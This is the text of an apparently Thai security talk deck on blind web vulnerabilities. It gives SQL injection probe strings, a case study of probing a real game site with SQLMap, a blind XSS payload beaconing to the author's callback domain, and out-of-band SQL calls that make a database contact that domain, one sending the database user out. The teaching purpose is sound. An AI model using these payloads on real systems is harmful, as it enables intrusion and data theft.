SlideShare une entreprise Scribd logo
1  sur  59
Télécharger pour lire hors ligne
Exploiting Blind Vulnerabilities
A tale of webapp security wizard
Pichaya Morimoto
IT Security Consultant, SEC Consult (Thailand) Co.,Ltd.
GIAC Web Application Penetration Tester Certified
Pichaya Morimoto
IT Security Consultant
SEC Consult (Thailand) Co., Ltd.
whoami
สอนแฮกเว็บแบบแมวๆ
https://www.facebook.com/longhackz
https://www.youtube.com/user/pich4ya
Hacking Competition (Pwnladin Team)
Security Advisories
Security Advisories
https://www.limesurvey.org/blog/76-limesurvey-news/security-
advisories/1836-limesurvey-security-advisory-10-2015
Public Exploits
SEC Consult - Who we are
★ Advisor for information security
★ Expert for the implementation of security processes and policies
(ISO 27001, BS 25999, GSHB)
★ Leading company for technical security audits
★ Specialist for web application security according to ONR 17700
★ Independent of product manufacturers
★ Our customers are public authorities, financial institutions and
insurance companies in Central Europe
★ Sectoral orientation (defence, public, finance, industry)
SEC Consult - Who we are
entire company within
certification scope
certified since 16.01.2008
ISO/IEC 27001 Certificate
SEC Consult Vulnerability Lab
European leading research lab for the
identification of vulnerabilities and
the analysis of new technologies,
products and applications (security
advisories)
Integral part of the education and the
further training of the security experts
at SEC Consult
Early information of our customers
due to SEC Consult security alerts
Support of well-known manufacturers
to enhance the security of their
products
Companies and organisations SEC Consult has released security advisories for (excerpt).
For details see: http://www.sec-consult.com/72.html
Contact SEC Consult
★ Vulnerabilities and Exploits
★ Blind Vulnerabilities
★ Exploitation Techniques
★ Setup Environment
★ Demo
Overview
Network
Application Level
OS
Application
Web App
www.facebook.com
System: Facebook (Simplified version)
Attack Surface
Web as an Attack Surface:
- User Input
- HTTP Header
- HTTP Body
- Control Flow
- Abuse path of
web execution
Vulnerabilities
OWASP Top 10 for 2013:
★ A1 Injection
★ A2 Broken Authentication and Session Management
★ A3 Cross-Site Scripting (XSS)
★ A4 Insecure Direct Object References
★ A5 Security Misconfiguration
★ A6 Sensitive Data Exposure
★ A7 Missing Function Level Access Control
★ A8 Cross-Site Request Forgery (CSRF)
★ A9 Using Components with Known Vulnerabilities
★ A10 Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
SQL Injection
SQL Injection
SQL Injection
SELECT text, description FROM news WHERE
description LIKE '%let's go%'
SELECT text, description FROM news WHERE
description LIKE '%let's go%'
SQL Injection: UNION
Non-blind Vulnerability
YOU ARE NOT BLIND !
สามารถนําขอมูลออกมาไดโดยตรงบนหนาเว็บ
sqlite_master.sql
SQL Injection: UNION
SQL Injection: UNION
PWNED
แลวถา...
ขอมูลที่ SELECT
ออกมาไมไดถูกนําไปแสดง
หรือเปน SQL query แบบ..
- UPDATE
- INSERT
- DELETE
- อื่น ๆ ที่ไมไดแสดงผลลัพธ
Introduction to BLIND Vulnerabilities
Case Study: TreeOfSavior.com
การแฮกเจาะระบบเขาไปในระบบ
ใด ๆ ที่เจาของระบบไมอนุญาติ
ใหเราทดสอบระบบ
เปนสิ่งผิดกฏหมาย
ทําแลวอาจติดคุกหรือโดนปรับ
เปนคดีอาญายอมความไมได
Legal Warning: คําเตือน
April 26, 2016: ตอนเชา
April 26, 2016 : ตอนเที่ยงวัน...
April 26, 2016 : ตอนเที่ยงคืน...
April 27, 2016 : ตี 1
BLIND SQL Injection: Probe
aaaaa' or (1=1) or 'bbbbbb
BLIND SQL Injection: Probe
aaaaa' or (1=2) or 'bbbbbb
BLIND SQL Injection: Probe
aaaaa' order by contentz-- -
BLIND SQL Injection: Probe
aaaaa' order by content-- -
BLIND SQL Injection: Exploit
★ information_schema
★ mysql
★ performance_schema
★ sys
★ test
★ tos_wiki
★ treeofsavior
SQLMap
EZ EZ Script Kiddy!
Responsible Disclosure 101
Responsible Disclosure 101
ชองโหวอะไรอีกที่โจมตีแบบ Blind ได?
Cross-Site Scripting (XSS)
โชวคาที่รับมาจา
ก user input
บนหนา HTML
Cross-Site Scripting (XSS)
http://127.0.0.1:1234/hello.php?name=<script>alert("let do
something evil")</script>
ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ
Blind XSS?
ไมเห็นโดยตรง ก็ตองหาทางเห็นแบบออม ๆ ไปแทน..
How to Find Generic Blind Vulns
Exploit Payload
ที่มีการทํา outbound
connection
เครื่องที่ถูกโจมตี รันโคดจาก
exploit เพื่อทําอะไร
บางอยางใหคนโจมตีรูวาการโ
จมตีนั้นไดผล
ผูโจมตีไดรับขอมูลบางอยาง
เพื่อพิสูจนไดวา ชองโหวที่
exploit ไปสําเร็จ
1
2
3
ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ HTTP Request !
Blind XSS
"><script>new Image().
src="http://p7z.pw/xss1/?
a=1337"</script>
ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ HTTP Request !
Blind XSS
IP คนโดน XSS IP เซิรฟเวอรรอรับผล
$ tail -n 1 /var/log/apache2/access.log
[IP คนโดน XSS] - - [17/Jun/2016:18:38:30 -0400] "GET /xss1/?
a=1337 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac
OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
ไมเห็นโดยตรง ก็ตองหาทางเห็นแบบออม ๆ ไปแทน..
How to Find Generic Blind Vulns
Exploit Payload
ที่มีการทํา outbound
connection
เครื่องที่ถูกโจมตี รันโคดจาก
exploit เพื่อทําอะไร
บางอยางใหคนโจมตีรูวาการโ
จมตีนั้นไดผล
ผูโจมตีไดรับขอมูลบางอยาง
เพื่อพิสูจนไดวา ชองโหวที่
exploit ไปสําเร็จ
1
2
3
A.k.a. Out-of-band (OBB) technique
★ MySQL
LOAD_FILE('sqli1.p7z.pw')
INTO OUTFILE 'sqli2.p7z.pwtest.txt'
★ MS-SQL
OPENROWSET('SQLOLEDB', 'sqli3.p7z.pw';'a';'b', 'SELECT 1')
EXEC master..xp_dirtree 'sqli4.p7z.pw' --
★ Oracle
UTL_HTTP.request('sqli5.p7z.pw/?a='||(SELECT user FROM DUAL)
Probe for Blind SQL Injection
ที่มา: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
★ ICMP Ping Request - 3 กะโหลก
★ HTTP Request - 4 กะโหลก
★ NBNS Request - 1 กะโหลก
★ FTP Login - 2 กะโหลก
★ DNS Resolution - 5 กะโหลก
Outbound Traffic
★ ตองมี IP จริง เขาถึงไดจากอินเทอรเน็ต
★ ควรจะเปนเครื่อง Linux สะดวกกวา Windows
★ จด domain มาใชดวยจะดีมาก (ดูกันตอวาทําไม)
★ ควรเปนเครื่องใน network ที่ไมโดน block port
หรือมีการใช proxyใด ๆ ที่แกไขขอมูลเขา-ออก
Setup Server for Testing
Setup VPS
1. Install apache2
2. Install bind9
Setup VPS
Setup Domain/DNS
ปแรก 200 บาท
domain + whois
privacy แลว
ชื่อ domain เอาสั้น
ๆ ที่สุดที่จะสั้นได
Setup Domain/DNS
Test DNS Resolution
Pros:
★ เซิรฟเวอรทั่วไปมีโปรแกรม ping หางาย
★ เร็วและงาย
Cons:
★ บางเซิรฟเวอร block ปง!
★ ชองโหวที่ไมใช Command Injection ใชไมได
#1 ICMP Ping Request
Pros:
★ ...
Cons:
★ บางเซิรฟเวอร block HTTP Outbound ไป untrusted IP !?
#2 HTTP Request
Pros:
★ ไมมีเซิรฟเวอรที่ไหน block DNS
Cons:
★ Setup ยุงยากเล็กนอยตอนเริ่ม
#3 DNS Resolution
DEMO
Find Blind Vuln with DNS Resolution
Thank you!
FB: สอนแฮกเว็บแบบแมว ๆ
https://fb.com/longhackz

Contenu connexe

En vedette

IT Operation Analytic for security- MiSSconf(sp1)
IT Operation Analytic for security- MiSSconf(sp1)IT Operation Analytic for security- MiSSconf(sp1)
IT Operation Analytic for security- MiSSconf(sp1)stelligence
 
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?Pichaya Morimoto
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkPichaya Morimoto
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Pichaya Morimoto
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 

En vedette (7)

IT Operation Analytic for security- MiSSconf(sp1)
IT Operation Analytic for security- MiSSconf(sp1)IT Operation Analytic for security- MiSSconf(sp1)
IT Operation Analytic for security- MiSSconf(sp1)
 
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
 
Unlock Security Insight from Machine Data
Unlock Security Insight from Machine DataUnlock Security Insight from Machine Data
Unlock Security Insight from Machine Data
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
 
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 

Similaire à Exploiting Blind Vulnerabilities

Health Information Privacy and Security (September 13, 2020)
Health Information Privacy and Security (September 13, 2020)Health Information Privacy and Security (September 13, 2020)
Health Information Privacy and Security (September 13, 2020)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security (August 3, 2019)
Health Information Privacy and Security (August 3, 2019)Health Information Privacy and Security (August 3, 2019)
Health Information Privacy and Security (August 3, 2019)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security (August 28, 2021)
Health Information Privacy and Security (August 28, 2021)Health Information Privacy and Security (August 28, 2021)
Health Information Privacy and Security (August 28, 2021)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security (October 7, 2018)
Health Information Privacy and Security (October 7, 2018)Health Information Privacy and Security (October 7, 2018)
Health Information Privacy and Security (October 7, 2018)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security (March 30, 2016)
Health Information Privacy and Security (March 30, 2016)Health Information Privacy and Security (March 30, 2016)
Health Information Privacy and Security (March 30, 2016)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security (June 18, 2021)
Health Information Privacy and Security (June 18, 2021)Health Information Privacy and Security (June 18, 2021)
Health Information Privacy and Security (June 18, 2021)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Personal Data Protection (September 23, 2020)
Health Information Privacy and Personal Data Protection (September 23, 2020)Health Information Privacy and Personal Data Protection (September 23, 2020)
Health Information Privacy and Personal Data Protection (September 23, 2020)Nawanan Theera-Ampornpunt
 
Privacy, Confidentiality & Security (April 28, 2018)
Privacy, Confidentiality & Security (April 28, 2018)Privacy, Confidentiality & Security (April 28, 2018)
Privacy, Confidentiality & Security (April 28, 2018)Nawanan Theera-Ampornpunt
 
Health Information Privacy and Security Management
Health Information Privacy and Security ManagementHealth Information Privacy and Security Management
Health Information Privacy and Security ManagementNawanan Theera-Ampornpunt
 
Thailand Online Marketing 2013: Maya Online Show
Thailand Online Marketing 2013: Maya Online Show Thailand Online Marketing 2013: Maya Online Show
Thailand Online Marketing 2013: Maya Online Show Surachai Chatchalermpun
 
Security Management สู่ระดับ 3 (January 18, 2018)
Security Management สู่ระดับ 3 (January 18, 2018)Security Management สู่ระดับ 3 (January 18, 2018)
Security Management สู่ระดับ 3 (January 18, 2018)Nawanan Theera-Ampornpunt
 
I T Security Risk
I T  Security  RiskI T  Security  Risk
I T Security RiskWon Ju Jub
 
IT Security Risk [Guest Speaker It Audit Class@Utcc]
IT Security Risk [Guest Speaker It Audit Class@Utcc]IT Security Risk [Guest Speaker It Audit Class@Utcc]
IT Security Risk [Guest Speaker It Audit Class@Utcc]Surachai Chatchalermpun
 
นางสาวสุภลักษณ์ แย้มโอษฐ
นางสาวสุภลักษณ์ แย้มโอษฐนางสาวสุภลักษณ์ แย้มโอษฐ
นางสาวสุภลักษณ์ แย้มโอษฐLittle PumPim
 
Csd 2013 sso_session_1_14112013
Csd 2013 sso_session_1_14112013Csd 2013 sso_session_1_14112013
Csd 2013 sso_session_1_14112013Nozumu Tee
 
Cybersecurity & Personal Data Protection (December 23, 2020)
Cybersecurity & Personal Data Protection (December 23, 2020)Cybersecurity & Personal Data Protection (December 23, 2020)
Cybersecurity & Personal Data Protection (December 23, 2020)Nawanan Theera-Ampornpunt
 

Similaire à Exploiting Blind Vulnerabilities (20)

Health Information Privacy and Security (September 13, 2020)
Health Information Privacy and Security (September 13, 2020)Health Information Privacy and Security (September 13, 2020)
Health Information Privacy and Security (September 13, 2020)
 
Health Information Privacy and Security (August 3, 2019)
Health Information Privacy and Security (August 3, 2019)Health Information Privacy and Security (August 3, 2019)
Health Information Privacy and Security (August 3, 2019)
 
Health Information Privacy and Security (August 28, 2021)
Health Information Privacy and Security (August 28, 2021)Health Information Privacy and Security (August 28, 2021)
Health Information Privacy and Security (August 28, 2021)
 
Health Information Privacy and Security (October 7, 2018)
Health Information Privacy and Security (October 7, 2018)Health Information Privacy and Security (October 7, 2018)
Health Information Privacy and Security (October 7, 2018)
 
Health Information Privacy and Security (March 30, 2016)
Health Information Privacy and Security (March 30, 2016)Health Information Privacy and Security (March 30, 2016)
Health Information Privacy and Security (March 30, 2016)
 
Health Information Privacy and Security (June 18, 2021)
Health Information Privacy and Security (June 18, 2021)Health Information Privacy and Security (June 18, 2021)
Health Information Privacy and Security (June 18, 2021)
 
Health Information Privacy and Personal Data Protection (September 23, 2020)
Health Information Privacy and Personal Data Protection (September 23, 2020)Health Information Privacy and Personal Data Protection (September 23, 2020)
Health Information Privacy and Personal Data Protection (September 23, 2020)
 
Privacy, Confidentiality & Security (April 28, 2018)
Privacy, Confidentiality & Security (April 28, 2018)Privacy, Confidentiality & Security (April 28, 2018)
Privacy, Confidentiality & Security (April 28, 2018)
 
Health Information Privacy and Security Management
Health Information Privacy and Security ManagementHealth Information Privacy and Security Management
Health Information Privacy and Security Management
 
Data & Cybersecurity (July 31, 2018)
Data & Cybersecurity (July 31, 2018)Data & Cybersecurity (July 31, 2018)
Data & Cybersecurity (July 31, 2018)
 
IMC: risk base security
IMC: risk base securityIMC: risk base security
IMC: risk base security
 
Thailand Online Marketing 2013: Maya Online Show
Thailand Online Marketing 2013: Maya Online Show Thailand Online Marketing 2013: Maya Online Show
Thailand Online Marketing 2013: Maya Online Show
 
How to address C-Level properly?
How to address C-Level properly?How to address C-Level properly?
How to address C-Level properly?
 
Security Management สู่ระดับ 3 (January 18, 2018)
Security Management สู่ระดับ 3 (January 18, 2018)Security Management สู่ระดับ 3 (January 18, 2018)
Security Management สู่ระดับ 3 (January 18, 2018)
 
I T Security Risk
I T  Security  RiskI T  Security  Risk
I T Security Risk
 
IT Security Risk [Guest Speaker It Audit Class@Utcc]
IT Security Risk [Guest Speaker It Audit Class@Utcc]IT Security Risk [Guest Speaker It Audit Class@Utcc]
IT Security Risk [Guest Speaker It Audit Class@Utcc]
 
นางสาวสุภลักษณ์ แย้มโอษฐ
นางสาวสุภลักษณ์ แย้มโอษฐนางสาวสุภลักษณ์ แย้มโอษฐ
นางสาวสุภลักษณ์ แย้มโอษฐ
 
Csd 2013 sso_session_1_14112013
Csd 2013 sso_session_1_14112013Csd 2013 sso_session_1_14112013
Csd 2013 sso_session_1_14112013
 
Cybersecurity & Personal Data Protection (December 23, 2020)
Cybersecurity & Personal Data Protection (December 23, 2020)Cybersecurity & Personal Data Protection (December 23, 2020)
Cybersecurity & Personal Data Protection (December 23, 2020)
 
Emerging threat
Emerging threatEmerging threat
Emerging threat
 

Plus de Pichaya Morimoto

ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...Pichaya Morimoto
 
Securing and Hacking LINE OA Integration
Securing and Hacking LINE OA IntegrationSecuring and Hacking LINE OA Integration
Securing and Hacking LINE OA IntegrationPichaya Morimoto
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOpsPichaya Morimoto
 
Mysterious Crypto in Android Biometrics
Mysterious Crypto in Android BiometricsMysterious Crypto in Android Biometrics
Mysterious Crypto in Android BiometricsPichaya Morimoto
 
Web Hacking with Object Deserialization
Web Hacking with Object DeserializationWeb Hacking with Object Deserialization
Web Hacking with Object DeserializationPichaya Morimoto
 
Burp Extender API for Penetration Testing
Burp Extender API for Penetration TestingBurp Extender API for Penetration Testing
Burp Extender API for Penetration TestingPichaya Morimoto
 
Bug Bounty แบบแมว ๆ
Bug Bounty แบบแมว ๆ Bug Bounty แบบแมว ๆ
Bug Bounty แบบแมว ๆ Pichaya Morimoto
 
Pentest 101 @ Mahanakorn Network Research Laboratory
Pentest 101 @ Mahanakorn Network Research LaboratoryPentest 101 @ Mahanakorn Network Research Laboratory
Pentest 101 @ Mahanakorn Network Research LaboratoryPichaya Morimoto
 

Plus de Pichaya Morimoto (8)

ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
 
Securing and Hacking LINE OA Integration
Securing and Hacking LINE OA IntegrationSecuring and Hacking LINE OA Integration
Securing and Hacking LINE OA Integration
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOps
 
Mysterious Crypto in Android Biometrics
Mysterious Crypto in Android BiometricsMysterious Crypto in Android Biometrics
Mysterious Crypto in Android Biometrics
 
Web Hacking with Object Deserialization
Web Hacking with Object DeserializationWeb Hacking with Object Deserialization
Web Hacking with Object Deserialization
 
Burp Extender API for Penetration Testing
Burp Extender API for Penetration TestingBurp Extender API for Penetration Testing
Burp Extender API for Penetration Testing
 
Bug Bounty แบบแมว ๆ
Bug Bounty แบบแมว ๆ Bug Bounty แบบแมว ๆ
Bug Bounty แบบแมว ๆ
 
Pentest 101 @ Mahanakorn Network Research Laboratory
Pentest 101 @ Mahanakorn Network Research LaboratoryPentest 101 @ Mahanakorn Network Research Laboratory
Pentest 101 @ Mahanakorn Network Research Laboratory
 

Exploiting Blind Vulnerabilities